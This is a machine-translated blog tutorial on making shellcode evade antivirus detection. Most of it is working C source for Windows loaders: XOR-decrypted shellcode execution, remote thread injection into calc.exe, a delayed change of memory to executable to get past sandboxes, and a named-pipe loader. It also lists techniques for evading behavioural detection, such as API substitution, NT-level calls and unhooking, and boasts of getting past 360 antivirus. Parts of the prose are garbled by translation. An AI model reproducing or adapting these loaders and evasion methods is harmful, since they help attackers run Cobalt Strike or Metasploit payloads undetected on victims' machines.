Anti-kill brief 2 (shellcode de compilación secundaria \ shellcode de carga remota \ shellcode inyección remota de hilo \ optimización de la aplicación de memoria \ tecnología de canalización)

Segunda compilación

También se puede entender como ofuscación de shellcode, donde se realizan varias encriptaciones antes de que se ejecute el shellcode y luego se descifra durante la ejecución. Xor es un ejemplo. El principio es escribir primero el código de shell cifrado en el programa y luego escribir el programa de descifrado del código de shell en el programa, de modo que después de que el código de shell se confunda, varios valores, como el código de firma, cambiarán, lo que puede evitar la mayor parte de la detección estática y la eliminación. , El método de cifrado no está restringido, también es posible escribirlo usted mismo. Exp: xor código shellcode cifrado:

Código fuente: https://github.com/shanfenglan/xor_shellcode

#include stdio.h
#define KEY 0x97     //进行异或的字符unsigned char buf[] = "shellcode";
int main(int argc, char* argv[]){
    
      
unsigned char c[sizeof(buf)];   //获取shellcode长度  
for (int i = 0; i < sizeof(buf)-1; i++)  {
    
        
        c[i] = buf[i] ^ KEY;//进行解密
        printf("\\x%x",c[i]);
  }    
  printf("\n");
   return 0;
}

Código de carga de Shellcode:

#include "windows.h"
#include "stdio.h"
#pragma comment(linker, "/subsystem:\"windows\" /entry:\"mainCRTStartup\"")//运行时不显示窗口
#define KEY 0x97
char bufff[] = "shellcode";
void main(){
    
     
	unsigned char buff[sizeof(bufff)];   //获取shellcode长度
	for (int i = 0; i < sizeof(bufff) - 1; i++)
	{
    
    
		buff[i] = bufff[i] ^ KEY;//进行解密
	} 
	LPVOID Memory = VirtualAlloc(NULL, sizeof(buff), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
	memcpy(Memory, buff, sizeof(buff));
	((void(*)())Memory)();
} 

Cargar shellcode de forma remota (descargar a través de la solicitud tcp y cargar en la memoria)

Inserte la descripción de la imagen aquí
Inserte la descripción de la imagen aquí
360 no es tóxico, porque es un enlace tcp, se puede detectar.
Inserte la descripción de la imagen aquí

El servidor, que es el lado de almacenamiento del shellcode, informará del virus, pero no importa, porque el servidor está en el host de nuestro atacante.

Código de referencia: Implementación: cargar shellcode de forma remota para lograr la separación y la evitación


Inyección de hilo remoto de código de shell

#include Windows.h
#include stdio.h
#include "iostream"
//隐藏运行程序时的cmd窗口
#pragma comment( linker, "/subsystem:windows /entry:mainCRTStartup" )
using namespace std; 
//使用CS或msf生成的C语言格式的上线shellcode
unsigned char shellcode[] = ""; 
BOOL injection(){
    
        
wchar_t Cappname[MAX_PATH] = {
    
     0 };    STARTUPINFO si;    PROCESS_INFORMATION pi;    
LPVOID lpMalwareBaseAddr;   
LPVOID lpnewVictimBaseAddr;    
HANDLE hThread;    
DWORD dwExitCode;    
BOOL bRet = FALSE;     
//把基地址设置为自己shellcode数组的起始地址    
lpMalwareBaseAddr = shellcode;     
//获取系统路径,拼接字符串找到calc.exe的路径    
GetSystemDirectory(Cappname, MAX_PATH);    lstrcat(Cappname, L"\\calc.exe");     
//打印注入提示   
// printf("被注入的程序名:%S\r\n", Cappname);     
ZeroMemory(&amp;si, sizeof(si));    
si.cb = sizeof(si);    
ZeroMemory(&amp;pi, sizeof(pi));     
//创建calc.exe进程   
if (CreateProcess(Cappname, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED 
, NULL, NULL, &amp;si, &amp;pi) == 0)    {
    
           
return bRet;   
} 
lpnewVictimBaseAddr=VirtualAllocEx(pi.hProcess , NULL, sizeof(shellcode) + 1, MEM_COMMIT | MEM_RESERVE,        PAGE_EXECUTE_READWRITE);    
if (lpnewVictimBaseAddr == NULL)    {
    
    
return bRet;   
}    
//远程线程注入过程    
WriteProcessMemory(pi.hProcess,lpnewVictimBaseAddr,(LPVOID)lpMalwareBaseAddr, sizeof(shellcode) + 1, NULL);    
hThread = CreateRemoteThread(pi.hProcess, 0,0, (LPTHREAD_START_ROUTINE)lpnewVictimBaseAddr, NULL, 0, NULL);
WaitForSingleObject(pi.hThread, INFINITE);
GetExitCodeProcess(pi.hProcess,&amp;dwExitCode);    
TerminateProcess(pi.hProcess, 0);    
return bRet;
} 
void help(char* proc){
    
        
// printf("%s:创建进程并将shellcode写入进程内存\r\n", proc);
} 
int main(int argc, char* argv[]){
    
        help(argv[0]);    
injection();
}

Inserte la descripción de la imagen aquí

Aunque todavía hay muchos asesinatos, pero puedes pasar 360

API del sistema utilizada:

1. LoadLibrary () y GetProcAddress () son
dos funciones, una es para cargar la biblioteca dll y la otra es tomar la dirección de una función del identificador de la biblioteca cargada, lo que puede entenderse como agregar una dll a la memoria, y luego Obtenga la dirección de una función en él, y puede llamarla directamente después de obtener esta dirección Estas dos funciones simples se usan a menudo, ya sea una llamada regular o para evitar estática.

2. OpenProcess ()
obtiene el control del proceso de acuerdo con el id del proceso, es decir, obtiene el derecho de control del proceso.

3. VirtualAllocEx ()
abre una parte de la memoria en el proceso especificado para almacenar su propio código y parámetros.

4.
La función en WriteProcessMemory () 3 abrirá una memoria en un proceso, y luego usará directamente esta función 4 para escribir datos en esa memoria, es decir, abrir una memoria en la de otra persona y escribir sus propias cosas.

5.
La función principal de CreateRemoteThread () , la función almacenada en una determinada ubicación de memoria del proceso especificado es una función de subproceso, y se inicia un subproceso. Por supuesto, el subproceso iniciado pertenece al proceso especificado.

Principio de inyección remota de hilo

El principio de la inyección de subprocesos probablemente significa que obtenemos permisos del host, que es el proceso que debe inyectarse, a través de ciertos medios. Después de obtener los permisos, necesitamos abrir una cierta cantidad de memoria en este proceso y luego configurar el contenido y los parámetros de nuestra función de subproceso. Copie el pasado para que estén nuestras funciones y nuestros parámetros en el proceso de destino.
En este momento, solo necesitamos "ayudarlo" a iniciar este hilo y estará bien, use directamente la función CreateRemoteThread en una determinada ubicación de memoria del otro proceso como función de hilo para iniciar.

Referencia: Control remoto para evitar matar Capítulo 8 Shellcode Evitar matar


Modificación de recursos

El efecto de modificar recursos como iconos es relativamente bajo, se utiliza la herramienta de piratería de recursos, que no se recomienda.


Embalaje

El empaquetado de software es en realidad cifrado o compresión de software, pero el método de cifrado o compresión es diferente. El empaquetado puede omitir casi todas las detecciones de firmas, pero el shell también tiene su propia firma, por lo que debe escribirlo usted mismo. Para eludir el principio anti-soft o eludir la detección del código de característica a través del bombardeo se requiere un código fuerte y capacidad inversa, por lo que no lo describiré demasiado aquí.


Método de optimización de la aplicación de memoria

Inserte la descripción de la imagen aquí
Aunque se han detectado muchos, todavía puede pasar 360.

360 se mostró en vt, pero 360 se revisó y se eliminó hace un momento, no lo entiendo. .

#include <Windows.h>

// 入口函数
int wmain(int argc, TCHAR* argv[]) {
    
    

    int shellcode_size = 0; // shellcode长度
    DWORD dwThreadId; // 线程ID
    HANDLE hThread; // 线程句柄
    DWORD dwOldProtect; // 内存页属性
/* length: 800 bytes */

    unsigned char buf[] = "";

    // 获取shellcode大小
    shellcode_size = sizeof(buf);

    /* 增加异或代码 */
    for (int i = 0; i < shellcode_size; i++) {
    
    
        buf[i] ^= 10;
    }
    /*
    VirtualAlloc(
        NULL, // 基址
        800,  // 大小
        MEM_COMMIT, // 内存页状态
        PAGE_EXECUTE_READWRITE // 可读可写可执行
        );
    */

    char* shellcode = (char*)VirtualAlloc(
        NULL,
        shellcode_size,
        MEM_COMMIT,
        PAGE_READWRITE // 只申请可读可写
    );

    // 将shellcode复制到可读可写的内存页中
    CopyMemory(shellcode, buf, shellcode_size);

    // 这里开始更改它的属性为可执行
    VirtualProtect(shellcode, shellcode_size, PAGE_EXECUTE, &dwOldProtect);

    // 等待几秒,兴许可以跳过某些沙盒呢?
    Sleep(2000);

    hThread = CreateThread(
        NULL, // 安全描述符
        NULL, // 栈的大小
        (LPTHREAD_START_ROUTINE)shellcode, // 函数
        NULL, // 参数
        NULL, // 线程标志
        &dwThreadId // 线程ID
    );

    WaitForSingleObject(hThread, INFINITE); // 一直等待线程执行结束
    return 0;
}

El núcleo de esta tecnología es solicitar primero la memoria normal de lectura y escritura y, después de unos segundos de estancamiento, cambiar el estado de la memoria a ejecutable.


Utilice la tecnología de canalización para evitar matar a 360

#include <Windows.h>
#include <stdio.h>
#include <intrin.h>

#define BUFF_SIZE 1024
unsigned char buf[] = "";
LPCTSTR ptsPipeName = TEXT("\\\\.\\pipe\\BadCodeTest");

BOOL RecvShellcode(VOID) {
    
    
    HANDLE hPipeClient;
    DWORD dwWritten;
    DWORD dwShellcodeSize = sizeof(buf);
    // 等待管道可用
    WaitNamedPipe(ptsPipeName, NMPWAIT_WAIT_FOREVER);
    // 连接管道
    hPipeClient = CreateFile(ptsPipeName, GENERIC_WRITE, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);

    if (hPipeClient == INVALID_HANDLE_VALUE) {
    
    
        printf("[+]Can't Open Pipe , Error : %d \n", GetLastError());
        return FALSE;
    }

    WriteFile(hPipeClient, buf, dwShellcodeSize, &dwWritten, NULL);
    if (dwWritten == dwShellcodeSize) {
    
    
        CloseHandle(hPipeClient);
        printf("[+]Send Success ! Shellcode : %d Bytes\n", dwShellcodeSize);
        return TRUE;
    }
    CloseHandle(hPipeClient);
    return FALSE;
}


int wmain(int argc, TCHAR* argv[]) {
    
    

    HANDLE hPipe;
    DWORD dwError;
    CHAR szBuffer[BUFF_SIZE];
    DWORD dwLen;
    PCHAR pszShellcode = NULL;
    DWORD dwOldProtect; // 内存页属性
    HANDLE hThread;
    DWORD dwThreadId;
    // 参考:https://docs.microsoft.com/zh-cn/windows/win32/api/winbase/nf-winbase-createnamedpipea
    hPipe = CreateNamedPipe(
        ptsPipeName,
        PIPE_ACCESS_INBOUND,
        PIPE_TYPE_BYTE | PIPE_WAIT,
        PIPE_UNLIMITED_INSTANCES,
        BUFF_SIZE,
        BUFF_SIZE,
        0,
        NULL);

    if (hPipe == INVALID_HANDLE_VALUE) {
    
    
        dwError = GetLastError();
        printf("[-]Create Pipe Error : %d \n", dwError);
        return dwError;
    }

    CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)RecvShellcode, NULL, NULL, NULL);

    if (ConnectNamedPipe(hPipe, NULL) > 0) {
    
    
        printf("[+]Client Connected...\n");
        ReadFile(hPipe, szBuffer, BUFF_SIZE, &dwLen, NULL);
        printf("[+]Get DATA Length : %d \n", dwLen);
        // 申请内存页
        pszShellcode = (PCHAR)VirtualAlloc(NULL, dwLen, MEM_COMMIT, PAGE_READWRITE);
        // 拷贝内存
        CopyMemory(pszShellcode, szBuffer, dwLen);

        /*for (DWORD i = 0; i < dwLen; i++) {
            Sleep(50);
            _InterlockedXor8(pszShellcode + i, 10);
        }*/

        // 这里开始更改它的属性为可执行
        VirtualProtect(pszShellcode, dwLen, PAGE_EXECUTE, &dwOldProtect);
        // 执行Shellcode
        hThread = CreateThread(
            NULL, // 安全描述符
            NULL, // 栈的大小
            (LPTHREAD_START_ROUTINE)pszShellcode, // 函数
            NULL, // 参数
            NULL, // 线程标志
            &dwThreadId // 线程ID
        );

        WaitForSingleObject(hThread, INFINITE);
    }

    return 0;
}

Principio: Cree un subproceso secundario como una tubería con nombre y el otro extremo es el cliente, que se utiliza para transmitir shellcode, el proceso en sí actúa como un servidor para recibir shellcode para asignar memoria y ejecutar.


Evitación de acciones (extracto)

El software antivirus ahora tendrá la función principal de defensa, interceptando y provocando comportamientos maliciosos. Por ejemplo, estos comportamientos: operaciones de registro, agregar elementos de inicio, agregar escritura de archivos de servicio, leer archivos del sistema, eliminar archivos, mover archivos para matar procesos, crear inyecciones de procesos, secuestro y otros principios de interceptación de comportamiento son simples, los comportamientos maliciosos son todos a través de llamadas a API La finalización puede ser una API o una combinación de varias API. El antivirus utiliza medios técnicos para interceptar estas llamadas a la API y utiliza estrategias para determinar si son maliciosas.

Puntos clave: estrategia de
API
(secuencia, fuente de llamada, parámetros, etc.)
por lo que el último método es trabajar para estos dos puntos.


¿Cómo evitar comportamientos asesinos?

  1. La API de reemplazo
    utiliza la misma API de función para reemplazarla. Es imposible que Antivirus intercepte todas las API, por lo que este método sigue siendo efectivo. Por ejemplo, MoveFileEx reemplaza MoveFile.
  2. Las API no exportadas
    buscan API no exportadas con la misma función para reemplazarlas. La interceptación de anti-software generalmente es para exportar API o llamadas subyacentes. Encontrar API no exportadas tiene cierto efecto.
    Encuentre una manera de lograr la misma función analizando las llamadas internas de la API de destino y encontrando una o más API internas no exportadas.
  3. La reescritura de la API
    reescribe completamente la función API del sistema (mediante ingeniería inversa) para realizar su propia función API correspondiente, que es muy eficaz para la interceptación del comportamiento de ring3. Como la realización de MoveFile, etc.

  4. La intercepción de API de api + 5 ring3 es conectar los primeros bytes de la API y luego ingresar a la función anti-soft para verificar los parámetros.
  5. El
    método de la API inferior es similar a 2 y 3, la API de interceptación anti-soft puede ser más alta (semántica más clara), luego puede encontrar una API de nivel inferior para llamar para evitar la intercepción, como el uso de funciones NT.
    O llame a la función del controlador a través de DeviceIoControl para completar la función API.
    Simular llamadas al sistema.
  6. Secuencia de llamada de reemplazo razonable
    A veces, el comportamiento de interceptación se completa mediante una combinación de varias API, por lo que una secuencia de reemplazo razonable, que pasa por alto la estrategia de interceptación anti-soft, también puede eludir la interceptación de modificación de comportamiento.
    Por ejemplo, primero cree un servicio y luego copie el archivo correspondiente del servicio.
  7. Omita la fuente de la llamada
    para completar la función de la API llamando a otras funciones. Más clásico, por ejemplo, a través de rundll32.exe para completar la carga de dll, a través de COM para operar archivos y así sucesivamente.

Material de referencia:
resumen de esos shellcode evitar matar,
control remoto evitar matar Capítulo 8 shellcode evitar matar,
control remoto evitar matar desde la entrada a la práctica (11) capítulo final

Inserte la descripción de la imagen aquí
Aquellos que necesitan herramientas pueden buscar y descargar directamente. Las he subido y no necesito puntos.

Supongo que te gusta

Origin blog.csdn.net/qq_41874930/article/details/107888800
Recomendado
Clasificación